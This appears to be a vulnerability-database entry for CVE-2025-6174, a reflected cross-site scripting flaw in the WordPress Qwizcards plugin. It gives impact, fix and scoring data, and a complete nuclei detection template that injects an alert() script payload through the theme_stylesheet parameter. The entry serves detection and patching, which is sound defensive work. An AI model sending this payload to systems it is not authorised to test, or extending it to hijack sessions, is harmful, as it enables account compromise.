HexBrain

Browse / CVEs / CVE-2025-6174

CVE-2025-6174· CWE-79

WordPress Qwizcards < 3.95 - Cross-Site Scripting (Reflected)

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
47%of all CVEs are less likely
Readycheck to confirm it

The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the "theme_stylesheet" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.

Impact

Attackers can execute scripts in the context of high privilege users, potentially leading to account compromise or session hijacking.

Fix

Update to the latest version beyond 3.9.4.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/qwiz-online-quizzes-and-flashcards/qwiz_admin_sample_buttons.php?theme_stylesheet="><script>alert('{{randstr}}')</scri…
Positive when: contains "<script>alert('{{randstr}}')</script>" and "rel=\"stylesheet\"" and "qwiz_button" AND status 200

Run it with nuclei: nuclei -id CVE-2025-6174 -u <target>

The full check
id: CVE-2025-6174

info:
  name: WordPress Qwizcards < 3.95 - Cross-Site Scripting (Reflected)
  author: 0x_Akoko
  severity: medium
  description: |
    The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the "theme_stylesheet" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.
  impact: |
    Attackers can execute scripts in the context of high privilege users, potentially leading to account compromise or session hijacking.
  remediation: |
    Update to the latest version beyond 3.9.4.
  reference:
    - https://wpscan.com/vulnerability/ff827f67-712e-4ab6-b6aa-7f5e6ff1283a/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6174
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-6174
    epss-score: 0.00563
    epss-percentile: 0.47164
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,qwizcards,wordpress,wp-plugin,xss,unauth,vkev,vuln

variables:
  randstr: "{{rand_base(8)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/qwiz-online-quizzes-and-flashcards/qwiz_admin_sample_buttons.php?theme_stylesheet=\"><script>alert('{{randstr}}')</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('{{randstr}}')</script>"
          - "rel=\"stylesheet\""
          - "qwiz_button"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from